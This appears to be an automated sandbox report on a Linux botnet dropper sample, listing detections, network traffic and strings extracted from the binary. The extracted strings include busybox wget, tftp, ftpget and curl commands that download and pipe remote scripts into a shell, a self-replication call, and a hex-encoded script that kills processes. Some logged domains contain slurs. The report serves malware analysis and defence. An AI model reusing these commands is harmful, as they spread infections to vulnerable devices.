Linux Analysis Report
nabspc.elf

Overview

General Information

Sample name: nabspc.elf
Analysis ID: 1543149
MD5: 47672f7d5197848d8541cc65facf0a3d
SHA1: e594c4f505a5db9fc85399651f9a63eaf8e5f38e
SHA256: 198226a45487fb1badefebdf3301efc3909bb9a6537005e1fd5ebf47315dff67
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: nabspc.elf ReversingLabs: Detection: 52%
Source: nabspc.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic TCP traffic: 192.168.2.23:49452 -> 45.156.86.24:38241
Source: /tmp/nabspc.elf (PID: 6243) Socket: 127.0.0.1:39148 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 54.230.133.117
Source: unknown TCP traffic detected without corresponding DNS query: 58.0.160.169
Source: unknown TCP traffic detected without corresponding DNS query: 54.230.133.117
Source: unknown TCP traffic detected without corresponding DNS query: 174.197.205.31
Source: unknown TCP traffic detected without corresponding DNS query: 58.0.160.169
Source: unknown TCP traffic detected without corresponding DNS query: 174.197.205.31
Source: unknown TCP traffic detected without corresponding DNS query: 174.90.178.221
Source: unknown TCP traffic detected without corresponding DNS query: 174.90.178.221
Source: unknown TCP traffic detected without corresponding DNS query: 203.99.24.169
Source: unknown TCP traffic detected without corresponding DNS query: 108.62.141.170
Source: unknown TCP traffic detected without corresponding DNS query: 191.90.36.124
Source: unknown TCP traffic detected without corresponding DNS query: 203.99.24.169
Source: unknown TCP traffic detected without corresponding DNS query: 108.62.141.170
Source: unknown TCP traffic detected without corresponding DNS query: 42.167.93.244
Source: unknown TCP traffic detected without corresponding DNS query: 217.122.16.105
Source: unknown TCP traffic detected without corresponding DNS query: 191.90.36.124
Source: unknown TCP traffic detected without corresponding DNS query: 30.26.235.58
Source: unknown TCP traffic detected without corresponding DNS query: 42.167.93.244
Source: unknown TCP traffic detected without corresponding DNS query: 1.228.237.21
Source: unknown TCP traffic detected without corresponding DNS query: 217.122.16.105
Source: unknown TCP traffic detected without corresponding DNS query: 198.85.189.145
Source: unknown TCP traffic detected without corresponding DNS query: 30.26.235.58
Source: unknown TCP traffic detected without corresponding DNS query: 51.119.172.166
Source: unknown TCP traffic detected without corresponding DNS query: 1.228.237.21
Source: unknown TCP traffic detected without corresponding DNS query: 46.98.50.204
Source: unknown TCP traffic detected without corresponding DNS query: 198.85.189.145
Source: unknown TCP traffic detected without corresponding DNS query: 41.205.105.117
Source: unknown TCP traffic detected without corresponding DNS query: 51.119.172.166
Source: unknown TCP traffic detected without corresponding DNS query: 222.86.84.65
Source: unknown TCP traffic detected without corresponding DNS query: 46.98.50.204
Source: unknown TCP traffic detected without corresponding DNS query: 173.1.141.41
Source: unknown TCP traffic detected without corresponding DNS query: 41.205.105.117
Source: unknown TCP traffic detected without corresponding DNS query: 221.131.219.26
Source: unknown TCP traffic detected without corresponding DNS query: 222.86.84.65
Source: unknown TCP traffic detected without corresponding DNS query: 32.29.130.27
Source: unknown TCP traffic detected without corresponding DNS query: 173.1.141.41
Source: unknown TCP traffic detected without corresponding DNS query: 6.35.66.195
Source: unknown TCP traffic detected without corresponding DNS query: 221.131.219.26
Source: unknown TCP traffic detected without corresponding DNS query: 39.4.5.78
Source: unknown TCP traffic detected without corresponding DNS query: 32.29.130.27
Source: unknown TCP traffic detected without corresponding DNS query: 92.216.208.84
Source: unknown TCP traffic detected without corresponding DNS query: 6.35.66.195
Source: unknown TCP traffic detected without corresponding DNS query: 44.104.148.69
Source: unknown TCP traffic detected without corresponding DNS query: 39.4.5.78
Source: unknown TCP traffic detected without corresponding DNS query: 211.164.27.37
Source: unknown TCP traffic detected without corresponding DNS query: 92.216.208.84
Source: unknown TCP traffic detected without corresponding DNS query: 109.181.197.144
Source: unknown TCP traffic detected without corresponding DNS query: 44.104.148.69
Source: unknown TCP traffic detected without corresponding DNS query: 32.153.131.216
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: nabspc.elf String found in binary or memory: http:///curl.sh
Source: nabspc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/102@5/0
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6263/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6263/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6274/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6274/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6273/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6273/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6265/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6265/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6276/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6276/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6264/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6264/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6275/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6275/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6267/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6267/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6266/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6266/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6277/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6277/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6269/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6269/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6313/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6313/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6268/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6268/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6270/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6270/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6272/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6272/cmdline Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6271/maps Jump to behavior
Source: /tmp/nabspc.elf (PID: 6250) File opened: /proc/6271/cmdline Jump to behavior
Source: /usr/bin/dash (PID: 6232) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Z73QfHGssR /tmp/tmp.jZi6nyeFq1 /tmp/tmp.WmIodxPuSS Jump to behavior
Source: /usr/bin/dash (PID: 6233) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Z73QfHGssR /tmp/tmp.jZi6nyeFq1 /tmp/tmp.WmIodxPuSS Jump to behavior
Source: /tmp/nabspc.elf (PID: 6243) Queries kernel information via 'uname': Jump to behavior
Source: nabspc.elf, 6243.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp, nabspc.elf, 6248.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: nabspc.elf, 6243.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp, nabspc.elf, 6248.1.0000558cc5550000.0000558cc55d5000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: nabspc.elf, 6243.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp, nabspc.elf, 6248.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
Source: nabspc.elf, 6243.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp, nabspc.elf, 6248.1.00007fff00a6b000.00007fff00a8c000.rw-.sdmp Binary or memory string: a|x86_64/usr/bin/qemu-sparc/tmp/nabspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabspc.elf
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs